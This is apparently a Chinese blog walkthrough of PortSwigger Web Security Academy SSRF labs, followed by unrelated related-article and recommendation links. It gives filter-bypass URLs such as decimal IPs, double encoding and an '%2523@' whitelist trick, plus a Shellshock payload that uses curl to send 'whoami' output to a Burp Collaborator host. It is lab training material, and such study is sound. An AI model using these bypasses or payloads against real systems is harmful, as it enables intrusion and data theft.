Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF)
Basic SSRF against the local server
题目描述
- lab中的库存检查功能会从内部系统获取数据
- 要求访问
http://localhost/admin并删除用户carlos
解题过程
寻找漏洞功能点
在商品详情页底部

很明显
stockApi是一个url-encode之后的url
访问
/admin
发现删除
carlos的链接
删除
carlos- ssrf访问
/admin/delete?username=carlos即可
- ssrf访问
Basic SSRF against another back-end system
题目描述
- lab中的库存检查功能会从内部系统获取数据
- 要求扫描
192.168.0.x网段的8080端口,寻找admin页面,并删除carlos
解题过程
相比上道题,只多了一个扫描,用intruder即可完成
直接抓包丢给intruder
网段范围
0 - 255发现admin页面

按照上道题,利用ssrf访问删除即可
SSRF with blacklist-based input filter
题目描述
- 库存检查功能会从内部系统获取数据
- 要求访问
http://localhost/admin并删除用户carlos - 有比较弱的防御SSRF的过滤
解题过程
寻找过滤关键字
127.0.0.1localhostadmin
bypass
使用数字ip
127.0.0.1转换为数字ip2130706433
url编码
通过http,接收后会自动decode一次,之后内部访问,会再次decode,所以可以两次编码
admin转换为两次url编码%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65拼接:
http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
访问
http://2130706433/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos即可
SSRF with whitelist-based input filter
题目描述
- 好家伙,第四个就直接来
EXPERT等级 - 库存检查功能会从内部系统获取数据
- 要求访问
http://localhost/admin并删除用户carlos - 有防御SSRF的过滤
- 好家伙,第四个就直接来
解题过程
先尝试数字ip

被告知url只能是指定站点
stock.weliketoshop.net尝试使用
xip.io绕过
发现仍然提示,只能访问指定站点
考虑到题目名是“基于白名单的输入过滤”,先手动测一下白名单内容
必须是
http://stock.weliketoshop.net开头,中间不能有其他字符http://127.0.0.1@stock.weliketoshop.net:8080可行 而http://stock.weliketoshop.net:8080@127.0.0.1不可行而且
http://stock.weliketoshop.net这个域名没有注册,所以应该是正则匹配推测正则
^http://([^\s]{1,}@){0,1}stock.weliketoshop.net(:\d)?(/[-./?%&=\w]*)?

去网上看了好多绕过的文章和姿势,都绕不过 = =
一度陷入自我怀疑
又看了下正则,我觉得可能的情况只有两种
- 存在url跳转
- 用@ HTTP基础验证
尝试url跳转
- 参数污染(x
- api泄露(x
- get参数fuzz(x 我还扔到sqlmap和dirsearch里跑了一遍
- url解析漏洞(x
尝试用@ HTTP基础验证
在这个正则下,只能是
xxx@stock.weliketoshop.net我第一个想到的是用
#锚,使得@stock.weliketoshop.net失效即
http://127.0.0.1#@stock.weliketoshop.net但是这样的话,锚会直接生效,会获取到错误的hostname
所以需要url-encode一次,使得接收到时
#为url编码,检查通过后向内网发起请求时才是#即
http://127.0.0.1%23@stock.weliketoshop.net(这一步我脑子瓦特了,因为
#作为url关键字,本身就会被编码一次,即:#在url里发送出去就是%23)所以应该是
http://127.0.0.1%2523@stock.weliketoshop.net(啊啊啊啊啊,我上面尝试失败后就去看solution了,然后被气死)
剩下的就和之前的方法一样
SSRF with filter bypass via open redirection vulnerability
题目描述
- 库存检查功能会从内部系统获取数据
- 要求访问
http://192.168.0.12:8080/admin并删除用户carlos - 库存检查把访问权限限制为了本地,所以需要寻找重定向来绕过
解题过程
寻找重定向接口
在商品详情的翻页中找到一个比较像的

测试接口
stockApi=/product/nextProduct?path=/
看起来有点像
302.php,直接location跳转,但是不会跟踪跳转,所以需要一个接口去访问这个跳转页面,用之前的checkStock即可
Blind SSRF with out-of-band detction
题目描述
- 打开商品页面的时候,分析软件会获取
referer - 要求生成一个访问
collaborator的HTTP请求
- 打开商品页面的时候,分析软件会获取
解题过程
直接把
Referer改成collaborator的url即可这道题感觉莫名其妙,没有获取任何数据或者执行任何动作,不过倒是想知道这个分析软件的源码(x 打开下道题就不觉得莫名其妙了
Blind SSRF with Shellshock exploitation
题目描述
- 打开商品页面的时候,分析软件会获取
referer - 要求通过SSRF,发现
192.168.0.x中的一个存活主机,使用Shellshock的payload攻击该存活主机,并利用collaborator获取用户名
- 打开商品页面的时候,分析软件会获取
解题过程
先去搜了下
ShellshockCVE-2014-6271破壳漏洞(bash的一个漏洞)这篇文章 写的很清楚
节选部分
POC : env x='() { :;}; echo vulnerable' bash -c "echo this is a test"env : 设置环境变量后执行程序 bash -c : 启动一个新的Bash , 然后执行后面的命令 . 只有子进程开启时才会其解析环境变量中函数的定义

通过
bash -c开启当前 Bash 的子进程 , 在子进程载入时会初始化用户环境变量 , 在初始化时发现了包含 "() {" 格式的字符串 , 所以将该字符串作为一个自动导入函数 . 但由于没有判断函数定义的结束 , 所以错误的将该函数定义后的语句也初始化并当作命令执行了 . 所以子 Bash 会执行该语句并输出vulnerable, 然后再输出this is a test.简单的说 , 就是将恶意命令添加到合法的Bash函数定义后 , 在启动子进程时 , Bash 会先执行恶意命令 , 然后再执行正常的指令 .
按照上道题,测试漏洞点

- 但是这里只能访问某个URL,Shellshock漏洞需要在UA中添加payload,应该要用
gopher,但是尝试过不成功 - 寻找存活主机? 这也没有反馈,只能构造好payload,一把梭哈
- 寻找构造SSRF的方法?没找到
看了下solution,意思是把
目标主机URL放在Referer,payload放在UA里先试试
payload:
() { :;};curl http://i3mquc43cvfw1xn69b2tpc93fulw9l.burpcollaborator.net/`whoami`
成功了
也就是说,分析功能在访问
Referer的同时,会带上原本的User-Agent。。。这是什么思路,自己给自己刷流量吗 = = ,个人感觉考gopher会好一点
Portswigger web security academy:Server-side request forgery (SSRF)的更多相关文章
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
随机推荐
- Tomcat源码学习 - 环境搭建
一. 源码下载 PS: 多图预警 在开始阅读源码之前,我们需要先构建一个环境,这样才能便于我们对源码进行调试,具体源码我们可以到官网进行下载(这里我以8.5.63版本为例). 二. 项目导入 下载并解 ...
- Linux less命令查看文件常用查询方法
g 跳到文件开头 G 跳到文件结尾 / 往下搜索字符 ? 网上搜索字符 n 执行上一个搜索(/或者?的搜索),例如上一个搜索是使用/搜索的,则继续使用/搜索,即往下搜索结果 N 反向执行上一个搜索(/ ...
- SpringBoot入门学习看这一篇就够了
1.SpringBoot是什么? SpringBoot是一套基于Spring框架的微服务框架. 2.为什么需要SpringBoot 由于Spring是一个轻量级的企业开发框架,主要的功能就是用于整合和 ...
- Sentry-JS-SDK-Browser 官方示例最佳实践
系列 SDK 开发 顶级开源项目 Sentry 20.x JS-SDK 设计艺术(理念与设计原则篇) 顶级开源项目 Sentry 20.x JS-SDK 设计艺术(开发基础篇) 顶级开源项目 Sent ...
- Go 语言入门教程,共32讲,6小时(已完结)
Go语言入门教程,共32讲,6小时(完结) 在B站:https://www.bilibili.com/video/BV1fD4y1m7TD/
- 「HTML+CSS」--自定义按钮样式【002】
前言 Hello!小伙伴! 首先非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出- 哈哈 自我介绍一下 昵称:海轰 标签:程序猿一只|C++选手|学生 简介:因C语言结识编程,随后转入计算机 ...
- MongoDB数据库的使用
MongoDB是一个基于分布式 文件存储的NoSQL数据库,适合存储JSON风格文件的形式. 三元素:数据库.集合和文档. 文档:对应着关系数据库中的行,就是一个对象,由键值对构成,是json的扩展B ...
- 系统编程-信号-信号发送kill、raise、alarm
信号发送 kill 和 raise函数 kill函数参数详解: 实验1 raise和kill 的使用 #include <stdio.h> #include <signal.h> ...
- Python - 关于类(self/cls) 以及 多进程通讯的思考
Python-多进程中关于类以及类实例的一些思考 目录 Python-多进程中关于类以及类实例的一些思考 1. 背景 2. Python 类中的函数 - staticmethod / classmet ...
- Python信息搜集
1.IP查询 IP查询是通过当前所获取到的URL去查询对应IP地址的过程.可以应用socket库函数中的gethostbuname()获取域名所对应的IP值,代码如下: 查询域名www.biadu.c ...